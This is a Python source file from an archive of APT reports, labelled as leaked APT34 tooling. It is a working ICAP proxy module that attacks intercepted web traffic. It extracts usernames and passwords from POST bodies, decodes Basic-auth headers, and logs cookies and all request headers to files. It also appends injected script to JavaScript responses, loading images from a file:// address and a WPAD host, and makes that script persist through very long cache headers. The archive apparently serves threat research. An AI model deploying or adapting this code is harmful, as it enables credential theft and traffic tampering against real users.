Files
APT_REPORT/APT34/APT34-LeakCode/webmask/icap/icap.py
blackorbird b3c7e3e449 APT34
2019-04-18 11:19:12 +08:00

298 lines
14 KiB
Python

#!/bin/env python
# -*- coding: utf8 -*-
import random
import SocketServer
import re
import json
import traceback
import gzip
from threading import Thread
from pyicap import *
from dateutil import parser
from datetime import *
from StringIO import *
credentials_file = 'credentials.txt'
log_file = 'log.txt'
cookies_file = 'cookies.txt'
inject_file = 'injected.txt'
headers_file = 'headers.txt'
script = ';$(document).ready(function(){$(\'<img src="file://[ip]/resource/logo.jpg"><img src="http://WPAD/avatar.jpg">\');});'
days = 3000
port = 1344
def log_to_file(path, log):
f = open(path, 'a+')
f.write(log + '\n')
f.close()
def extract_login_password(date, ip, url, body):
usernames = []
passwords = []
userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario']
passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',
'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
'passwort', 'passwrd', 'wppassword', 'upasswd','senha','contrasena', 'secret']
logins = ['login', 'log-in', 'log_in', 'signin', 'sign-in', 'logon', 'log-on']
for login in userfields:
login_re = re.search('([^&]*%s[^=]*=[^&]+)' % login, body, re.IGNORECASE)
if login_re and len(login_re.group()) < 75:
usernames.append(login_re.group())
for passfield in passfields:
pass_re = re.search('([^&]*%s[^=]*=[^&]+)' % passfield, body, re.IGNORECASE)
if pass_re and len(pass_re.group()) < 75:
passwords.append(pass_re.group())
if len(usernames) > 0 and len(passwords) > 0:
log = {'date': date, 'ip': ip, 'type': 'login_password', 'url': url, 'usernames': usernames, 'passwords': passwords}
log_string = json.dumps(log, indent=4)
log_to_file(credentials_file, log_string)
print log_string
for login in logins:
if re.search(login, url, re.IGNORECASE):
log = {'date': date, 'ip': ip, 'type': 'login_url', 'url': url, 'body': body}
log_string = json.dumps(log, indent=4)
log_to_file(credentials_file, log_string)
class ThreadingSimpleServer(SocketServer.ThreadingMixIn, ICAPServer):
pass
class ICAPHandler(BaseICAPRequestHandler):
def password_OPTIONS(self):
self.set_icap_response(200)
#self.set_icap_header('Methods', 'RESPMOD')
self.set_icap_header('Methods', 'REQMOD')
self.set_icap_header('Preview', '0')
self.send_headers(False)
def password_REQMOD(self):
try:
date = str(parser.parse(self.headers['date'][0]))
ip = self.headers['x-client-ip'][0]
method = self.enc_req[0]
url = self.enc_req[1]
log_string = '{0}\t{1}\t{2}\t{3}'.format(date, ip, method, url)
log_to_file(log_file, log_string)
#print log_string
if '204' not in self.allow and self.preview == None:
self.set_icap_response(200)
self.set_enc_request(' '.join(self.enc_req))
for h in self.enc_req_headers:
for v in self.enc_req_headers[h]:
self.set_enc_header(h, v)
if not self.has_body:
self.send_headers(False)
self.log_request(200)
return
self.send_headers(True)
body = ''
while self.has_body:
#print 'read start'
chunk = self.read_chunk()
#print 'read done', len(chunk)
if '204' not in self.allow and self.preview == None:
self.write_chunk(chunk)
if chunk == '':
if method == 'POST':
thread = Thread(target = extract_login_password, args = (date, ip, url, body))
thread.start()
break
elif method == 'POST':
body += chunk
if '204' in self.allow or self.preview != None:
self.set_icap_response(204)
self.send_headers()
#self.no_adaptation_required()
except:
traceback.print_exc()
raise
#def password_RESPMOD(self):
# self.no_adaptation_required()
def basic_OPTIONS(self):
self.set_icap_response(200)
#self.set_icap_header('Methods', 'RESPMOD')
self.set_icap_header('Methods', 'REQMOD')
self.set_icap_header('Preview', '0')
self.send_headers(False)
def basic_REQMOD(self):
try:
date = str(parser.parse(self.headers['date'][0]))
ip = self.headers['x-client-ip'][0]
method = self.enc_req[0]
url = self.enc_req[1]
if 'authorization' in self.enc_req_headers and self.enc_req_headers['authorization'][0].startswith('Basic'):
cred = self.enc_req_headers['authorization'][0].split(' ')[1].decode('base64')
log = {'date': date, 'ip': ip, 'type':'basic_auth', 'url': url, 'cred': cred}
log_string = json.dumps(log, indent=4)
log_to_file(credentials_file, log_string)
#print log_string
if '204' not in self.allow and self.preview == None:
self.set_icap_response(200)
self.set_enc_request(' '.join(self.enc_req))
for h in self.enc_req_headers:
for v in self.enc_req_headers[h]:
self.set_enc_header(h, v)
self.send_headers(True)
while self.has_body:
#print 'read start'
chunk = self.read_chunk()
#print 'read done', len(chunk)
if '204' not in self.allow and self.preview == None:
self.write_chunk(chunk)
if chunk == '':
break
if '204' in self.allow or self.preview != None:
self.set_icap_response(204)
self.send_headers()
#self.no_adaptation_required()
except:
traceback.print_exc()
raise
#def basic_RESPMOD(self):
# self.no_adaptation_required()
def headers_OPTIONS(self):
self.set_icap_response(200)
#self.set_icap_header('Methods', 'RESPMOD')
self.set_icap_header('Methods', 'REQMOD')
self.set_icap_header('Preview', '0')
self.send_headers(False)
def headers_REQMOD(self):
date = str(parser.parse(self.headers['date'][0]))
ip = self.headers['x-client-ip'][0]
method = self.enc_req[0]
url = self.enc_req[1]
for header in self.enc_req_headers:
log_string = '{0}\t{1}\t{2}\t{3}'.format(date, ip, url, self.enc_req_headers[header][0])
log_to_file(headers_file, log_string)
self.no_adaptation_required()
#def headers_RESPMOD(self):
# self.no_adaptation_required()
def cookie_OPTIONS(self):
self.set_icap_response(200)
#self.set_icap_header('Methods', 'RESPMOD')
self.set_icap_header('Methods', 'REQMOD')
self.set_icap_header('Preview', '0')
self.send_headers(False)
def cookie_REQMOD(self):
date = str(parser.parse(self.headers['date'][0]))
ip = self.headers['x-client-ip'][0]
method = self.enc_req[0]
url = self.enc_req[1]
if 'cookie' in self.enc_req_headers:
cookies = self.enc_req_headers['cookie'][0]
log_string = '{0}\t{1}\t{2}\t{3}'.format(date, ip, url, cookies)
log_to_file(cookies_file, log_string)
self.no_adaptation_required()
#def cookie_RESPMOD(self):
# self.no_adaptation_required()
def inject_OPTIONS(self):
self.set_icap_response(200)
self.set_icap_header('Methods', 'RESPMOD')
#self.set_icap_header('Methods', 'REQMOD')
self.set_icap_header('Preview', '0')
self.send_headers(False)
#def inject_REQMOD(self):
# self.no_adaptation_required()
def inject_RESPMOD(self):
date = str(parser.parse(self.headers['date'][0]))
ip = self.headers['x-client-ip'][0]
method = self.enc_req[0]
url = self.enc_req[1]
referer = ''
if 'referer' in self.enc_req_headers:
referer = self.enc_req_headers['referer'][0]
agent = ''
if 'user-agent' in self.enc_req_headers:
referer = self.enc_req_headers['user-agent'][0]
status = self.enc_res_status[1]
message = self.enc_res_status[2]
if 'content-type' in self.enc_res_headers and 'javascript' in self.enc_res_headers['content-type'][0]: #re.search('^[^\?]*\.js(\?.*)?$', url):
log_string = '{0}\t{1}\t{2}\t{3}\t{4}\t{5}\t{6}'.format(date, ip, status, method, url, referer, agent)
log_to_file(inject_file, log_string)
print log_string
compress = 'uncompress'
if 'content-encoding' in self.enc_res_headers:
if 'gzip' in self.enc_res_headers['content-encoding']:
compress = 'gzip'
if compress not in ['uncompress', 'gzip']:
self.no_adaptation_required()
return
body = ''
if self.has_body:
while True:
chunk = self.read_chunk()
body += chunk
if chunk == '':
break
if compress == 'gzip':
buf = StringIO(body)
body = gzip.GzipFile(fileobj=buf).read()
body += script
if compress == 'gzip':
temp = ''
buf = StringIO(temp)
gzip.GzipFile(fileobj=buf, mode='w').write(body)
body = buf.getvalue()
self.set_icap_response(200)
self.set_enc_status(' '.join(self.enc_res_status))
for h in self.enc_res_headers:
for v in self.enc_res_headers[h]:
if h == 'content-length':
self.set_enc_header(h, str(len(body)))
elif h == 'cache-control':
pass
elif h == 'expires':
pass
elif h == 'etag':
pass
else:
self.set_enc_header(h, v)
now = datetime.today()
delta = timedelta(days)
expires = now + delta
self.set_enc_header('expires', expires.strftime('%A, %d %b %Y %H:%M:%S GMT'))
self.set_enc_header('cache-control', 'max-age=' + str(int(delta.total_seconds())))
if not self.has_body:
self.send_headers(False)
return
self.send_headers(True)
self.write_chunk(body)
self.write_chunk('')
return
self.no_adaptation_required()
server = ThreadingSimpleServer(('127.0.0.1', port), ICAPHandler)
try:
while 1:
server.handle_request()
except KeyboardInterrupt:
print 'Finished'